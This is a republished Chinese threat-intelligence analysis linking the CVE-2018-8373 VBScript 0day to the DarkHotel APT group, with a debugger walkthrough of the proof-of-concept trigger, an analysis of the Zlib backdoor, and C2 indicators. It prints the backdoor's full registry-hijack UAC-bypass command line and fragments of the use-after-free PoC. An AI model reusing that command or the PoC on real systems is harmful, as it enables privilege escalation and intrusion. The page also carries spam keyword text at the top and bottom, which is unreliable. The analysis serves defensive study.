91超碰碰碰碰久久久久久综合_超碰av人澡人澡人澡人澡人掠_国产黄大片在线观看画质优化_txt小说免费全本

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

利用CVE-2018-8373 0day漏洞的攻擊與Darkhotel團伙相關的示例分析

發布時間:2021-11-25 14:37:15 來源:億速云 閱讀:132 作者:柒染 欄目:編程語言

這篇文章將為大家詳細講解有關利用CVE-2018-8373 0day漏洞的攻擊與Darkhotel團伙相關的示例分析,文章內容質量較高,因此小編分享給大家做個參考,希望大家閱讀完這篇文章后對相關知識有一定的了解。

背景

2018年8月15日,網絡安全公司趨勢科技公開了其在今年7月捕獲到的一例在野0day漏洞攻擊,該攻擊利用了Windows VBScript Engine的代碼執行漏洞,經過分析對比發現該0day漏洞和2018年4月360公司首次發現影響IE瀏覽器并通過Office文檔進行攻擊的“雙殺”漏洞(詳見參考[1])使用了多個相同的攻擊技術,極有可能是同一團伙所為。

360威脅情報中心第一時間對該0day漏洞進行了分析確認,并通過大數據關聯分析確認本次的0day在野攻擊與DarkHotelAPT組織存在關聯。

來源

2018年8月15日,趨勢科技公開了其在今年7月11日捕獲到的一例在野0day漏洞攻擊技術分析,該漏洞已于公開的前一天被微軟修復,漏洞編號為:CVE-2018-8373。

三個“雙殺”0day漏洞時間線

CVE-2018-8373其實是今年以來被發現的影響Windows VBScript Engine的第三個漏洞,其中前兩個均為360公司的安全研究人員首次發現,這三個漏洞均影響IE瀏覽器,且可以通過微軟Office文檔進行攻擊。三個“雙殺”0day漏洞發現的時間線如下:

CVE 發現時間 修復時間 描述
CVE-2018-81742018.4.182018.5.8影響Office和IE的雙殺漏洞,在野
CVE-2018-8242 2018.7.10360安全研究人員發現并上報微軟(參考[2])
CVE-2018-83732018.7.112018.8.14影響Office和IE的雙殺漏洞,在野

溯源與關聯

獲得打碼后的IOC

360威脅情報中心通過大數據分析關聯首先得到了趨勢科技打碼后的IOC地址:

http://windows-updater.net/realmuto/wood.php?who=1??????    
   


關聯同源0day攻擊樣本

并發現一個攻擊時間和趨勢科技發現在野“雙殺”0day攻擊在同一天的疑似使用該0day攻擊的office文檔樣本,該Offce文檔樣本中內嵌的域名和趨勢科技給出的域名格式一致(http://windows-updater.net/stack/ov.php?w= 1\x00who =1)

利用CVE-2018-8373 0day漏洞的攻擊與Darkhotel團伙相關的示例分析

確認與DarkHotel關聯

得到0day漏洞攻擊所使用的域名后我們立即發現,該域名正是360威脅情報中心在今年5月發布的關于DarkHotel APT團伙最新的攻擊活動中使用過的域名(詳見參考[4]):

利用CVE-2018-8373 0day漏洞的攻擊與Darkhotel團伙相關的示例分析

利用CVE-2018-8373 0day漏洞的攻擊與Darkhotel團伙相關的示例分析

在360威脅情報中心威脅平臺中輸入該域名也會立即關聯到DarkHotel:

利用CVE-2018-8373 0day漏洞的攻擊與Darkhotel團伙相關的示例分析

CVE-2018-8373漏洞分析

如下所示為趨勢給出的對應POC觸發代碼:

利用CVE-2018-8373 0day漏洞的攻擊與Darkhotel團伙相關的示例分析

如下為該漏洞和今年5月捕獲的CVE-2018-8174的POC對比,CVE-2018-8174主要的漏洞原因在于Class_Terminater中可以對釋放的內存對象繼續賦值,從而導致釋放后重用,而這次的CVE-2018-8373則是類的Propert Get操作中可以修改對應的類成員array的長度,從而導致之后的對象重用:

利用CVE-2018-8373 0day漏洞的攻擊與Darkhotel團伙相關的示例分析

如下為對應的的POC代碼,POC代碼很簡單,VulClass類中定義了array成員變量,方法Class_Initialize及Public Default Property Get P。

其中Class_Initialize是VB中一個已經棄用的方法,用于在類創建的時候實現對應的操作,重載后可以在類創建時完成相應的初始化工作,之后被new代替。

Default Property為一個類屬性,被Public Default Property Get P重載后,對該類的訪問將觸發相應的操作,在POC中即執行ReDimPreserve array(1)。

ReDim用于對指定的內存重新分配,其最終在VB引擎中通過SafeArrayRedim函數實現,熟悉VB漏洞的話,可以知道該函數就是之前CVE-2015-6332漏洞的根源:

利用CVE-2018-8373 0day漏洞的攻擊與Darkhotel團伙相關的示例分析

POC中首先執行該行代碼,new的時候對應執行以下函數VBScriptClass::InitializeClass,由于VulClass類中重載了Class_Initialize方法,因此通過vbscript!CScriptEntryPoint::Call派發進入到對應的編碼者實現的Class_Initialize方法中:

Set cls = New VulClass    
   

利用CVE-2018-8373 0day漏洞的攻擊與Darkhotel團伙相關的示例分析

Class_Initialize方法中修改對應的array長度:

Private Sub Class_Initialize    ReDim array(2)End Sub

可以看到此時生成的Array對象如下所示,其成員變量數為3,對應的pvData為0x0514dfd0:

利用CVE-2018-8373 0day漏洞的攻擊與Darkhotel團伙相關的示例分析

之后運行以下代碼,VB引擎解析以下代碼的順序是從左自右掃描的,因此首先會進行cls.array(2)的操作:

 cls.array(2) = cls

此時會調用函數vbscript!AccessArray判斷對應array(2)是否可訪問,如下所示此時獲取對應array的內存對象:

利用CVE-2018-8373 0day漏洞的攻擊與Darkhotel團伙相關的示例分析

經過一番判斷之后,如下所示esi指向對應的array對象,依次獲取array中每個成員的大小cbElements,此處為0x10,需要訪問賦值的arrayindex,此處為2,pvData,以此計算出array(2)對象的地址0514dfd0(pvData)+2(element)*10(cbElements)=0514ff0,0514ff0會被直接拷貝到求值棧上:

利用CVE-2018-8373 0day漏洞的攻擊與Darkhotel團伙相關的示例分析

如下所示拷貝到求值棧上的array(2)地址:

利用CVE-2018-8373 0day漏洞的攻擊與Darkhotel團伙相關的示例分析

通過內存訪問斷點可以跟蹤對該地址的引用:

利用CVE-2018-8373 0day漏洞的攻擊與Darkhotel團伙相關的示例分析

之后執行等號右側部分的操作,由于該VulClass類定義了Public Default Property Get P,因此會在賦值前執行其中對應的代碼:

 cls.array(2) = cls

該段代碼很簡單,通過ReDim修改了array數組的長度,屬性Preserve表示對數組中已賦值的那些數據不清空 ,但是該處并不影響對應的漏洞觸發,該屬性刪掉也是可以的:

Public Default Property Get P   ReDim Preserve array(1)End Property

該重置array內存的操作實際通過函數RedimPreserveArray實現,如下所示傳入的array對象:

利用CVE-2018-8373 0day漏洞的攻擊與Darkhotel團伙相關的示例分析

經過一番array類型判斷后最終會調用SafeArrayRedim,該函數也就是前面提到的漏洞CVE-2015-6332的成因根源,其原型如下所示,*psa為對應array對象,* psaboundNew為新數組的大小+1:

HRESULT SafeArrayRedim(_Inout_ SAFEARRAY *psa,_In_ SAFEARRAYBOUND *psaboundNew);

此時的參數如下所示:

利用CVE-2018-8373 0day漏洞的攻擊與Darkhotel團伙相關的示例分析

調用之后可以看到array對象的pvData已經被修改為0x084a0fe0,之前的pvData0514dfd0的內存地址已經被釋放,包括我們之前存在賦值棧上的0x0514dff0:

利用CVE-2018-8373 0day漏洞的攻擊與Darkhotel團伙相關的示例分析

最終調用函數AssignVar完成賦值,如下所示,具體賦值操作在紅框中,之前會有一個VAR::Clear的操作,用于釋放之前的引用:

利用CVE-2018-8373 0day漏洞的攻擊與Darkhotel團伙相關的示例分析

VAR::Clear會獲取對應的array(2)的地址,從而造成崩潰:

利用CVE-2018-8373 0day漏洞的攻擊與Darkhotel團伙相關的示例分析

總結一下,cls.array(2)= cls這行代碼中,cls.array(2)賦值前會保存array(2)的地址到求值棧上,之后cls中的Public Default Property Get P操作導致賦值前對array()內存進行重新分配,即之前保存到求值棧上的指針指向的內存被釋放,該指針在最終的賦值操作中作為賦值的目標地址,從而導致重用崩潰。

利用CVE-2018-8373 0day漏洞的攻擊與Darkhotel團伙相關的示例分析

樣本分析

360威脅情報中心通過大數據關聯到本次0day攻擊相關的一些payload文件,并對其中的一個后門程序進行了詳細分析。

Zlib

關聯到的一個后門程序名為Zlib,其主要功能為:

1、  判斷加載進程,如果為mmc.exe,則zlib模塊是通過bypassuac的方式加載起來的,然后會通過rundll32加載zlib模塊的導出函數uncormpress2(也就是惡意代碼主函數),隨后調用進程退出。

2、  判斷加載進程,如果不是rundll32加載的(Dropper加載),在DllMain函數中創建線程;再判斷操作系統是否為64位,如果為64位,直接執行惡意代碼主函數,如果不是64位,把zlib模塊文件拷貝到programdata目錄下,然后通過劫持mmc,運行mmc.exe,加載zlib模塊,實現bypassUAC,然后轉到第一步。

3、  惡意代碼的功能主要是從自身解密出URL,下載惡意payload,解密成dll,修改上線配置信息后,在內存中加載運行。

具體流程如下所示:

利用CVE-2018-8373 0day漏洞的攻擊與Darkhotel團伙相關的示例分析

詳細分析如下:

樣本MD5:80705564b4f89915a04bd4c416cd63bc

樣本編譯時間是2018年7月12日:

利用CVE-2018-8373 0day漏洞的攻擊與Darkhotel團伙相關的示例分析

樣本入口首先會判斷加載DLL的主程序是什么:

利用CVE-2018-8373 0day漏洞的攻擊與Darkhotel團伙相關的示例分析

如果加載DLL的進程為mmc.exe,通過給rundll32.exe傳參數調用DLL的uncompress2導出函數:

利用CVE-2018-8373 0day漏洞的攻擊與Darkhotel團伙相關的示例分析

而該導出函數也被后面的調用進程不為rundll32.exe的流程的線程調用:

利用CVE-2018-8373 0day漏洞的攻擊與Darkhotel團伙相關的示例分析

如果加載的進程不為rundll32.exe,會直接進入MainThread線程,該處會先判斷系統版本,如果是64位系統,直接下載并加載shellcode,如果不是的話,會進入LoadByMMC函數:

利用CVE-2018-8373 0day漏洞的攻擊與Darkhotel團伙相關的示例分析

該函數的作用主要是把當前DLL復制到ProgramData下,然后運行批處理,通過劫持mmc,繞過UAC加載DLL:

/c REG ADD "HKCU\\Software\\Classes\\CLSID\\{D5AB5662-131D-453D-88C8-9BBA87502ADE}\\InprocServer32" /ve /t REG_EXP AND_SZ /d "%s\\zlib1.dll" /f & REG ADD "HKCU\\Environment" /v "COR_PROFILER" /t REG_SZ /d "{D5AB5662-131D-453D-88C8-9BBA87502ADE}" /f & REG ADD "HKCU\\Environment" /v "COR_ENABLE_PROFILING" /t REG_SZ /d "1" /f & REG ADD "HKCU\\Environment" /v "COR_PROFILER_PATH" /t REG_SZ /d "%s\\zlib1.dll" /f & mmc gpedit.msc

利用CVE-2018-8373 0day漏洞的攻擊與Darkhotel團伙相關的示例分析

把操作系統版本和進程列表通過HTTP POST的方式發送到解密后的URL:

利用CVE-2018-8373 0day漏洞的攻擊與Darkhotel團伙相關的示例分析

利用CVE-2018-8373 0day漏洞的攻擊與Darkhotel團伙相關的示例分析

利用CVE-2018-8373 0day漏洞的攻擊與Darkhotel團伙相關的示例分析

URL的解密算法,如下:

利用CVE-2018-8373 0day漏洞的攻擊與Darkhotel團伙相關的示例分析

待解密的數據,和之前發過的報告的前面的標志是一樣的:OCCUR和OCCID

利用CVE-2018-8373 0day漏洞的攻擊與Darkhotel團伙相關的示例分析

解密后的域名:

利用CVE-2018-8373 0day漏洞的攻擊與Darkhotel團伙相關的示例分析

檢驗網絡返回數據的合法性,還和以前發的報告的樣本的算法是相同的:

利用CVE-2018-8373 0day漏洞的攻擊與Darkhotel團伙相關的示例分析

解密成DLL后,把DLL里面的URL配置信息修改成當前的url,如圖:

利用CVE-2018-8373 0day漏洞的攻擊與Darkhotel團伙相關的示例分析

尋找REFUR和REFID 這2個字段,按照同樣的加密算法,加密并寫回去:

利用CVE-2018-8373 0day漏洞的攻擊與Darkhotel團伙相關的示例分析

然后在內存中加載執行惡意代碼:

利用CVE-2018-8373 0day漏洞的攻擊與Darkhotel團伙相關的示例分析

該惡意代碼和之前代碼的相同處:

1.解密URL的代碼一樣;

2.判斷網絡回來數據的合法性的地方一樣。

不同處:

1.動態修改加載的DLL的上線URL和ID;

2.ByPASS uac的方法在DLL里。

另外,360威脅情報中心還關聯到一個新的DarkHotel使用的劫持Windows操作系統模塊的后門mstfe.dll(MD5: 5ce7342400cce1eff6dc70c9bfba965b),并發現新的C2:

hxxp://documentsafeinfo.com/mohamed/salah.php

hxxp://779999977.com/mohamed/salah.php

利用CVE-2018-8373 0day漏洞的攻擊與Darkhotel團伙相關的示例分析

利用CVE-2018-8373 0day漏洞的攻擊與Darkhotel團伙相關的示例分析

ID為dr.john-1:

利用CVE-2018-8373 0day漏洞的攻擊與Darkhotel團伙相關的示例分析

360威脅情報中心對DarkHotel APT團伙的攻擊活動一直保持著持續跟蹤,從本次事件可以看出,該攻擊團伙在近年中保持著相當高的活躍度,為了達成攻擊目的甚至會不惜使用0day漏洞進行攻擊。另一方面,以Office文檔作為0day攻擊載體依然是當前最為流行的攻擊方式,而通過微軟Office來利用第三方模塊0day漏洞的攻擊面已經成為黑客研究的熱點。

目前,基于360威脅情報中心的威脅情報數據的全線產品,包括360威脅情報平臺(TIP)、天眼高級威脅檢測系統、360 NGSOC等,都已經支持對此APT攻擊團伙最新攻擊活動的檢測。

關于利用CVE-2018-8373 0day漏洞的攻擊與Darkhotel團伙相關的示例分析就分享到這里了,希望以上內容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

cve
AI

西充县| 宁德市| 麦盖提县| 舞钢市| 津市市| 婺源县| 临西县| 甘孜| 元阳县| 濮阳市| 阿拉善左旗| 余庆县| 辽源市| 汨罗市| 武乡县| 岳普湖县| 云龙县| 中宁县| 松溪县| 玉树县| 观塘区| 太保市| 威远县| 浏阳市| 札达县| 峨边| 汾阳市| 文化| 和平县| 耒阳市| 扎兰屯市| 隆尧县| 志丹县| 宜昌市| 长阳| 敦化市| 阜新市| 岑巩县| 蒙阴县| 年辖:市辖区| 三亚市|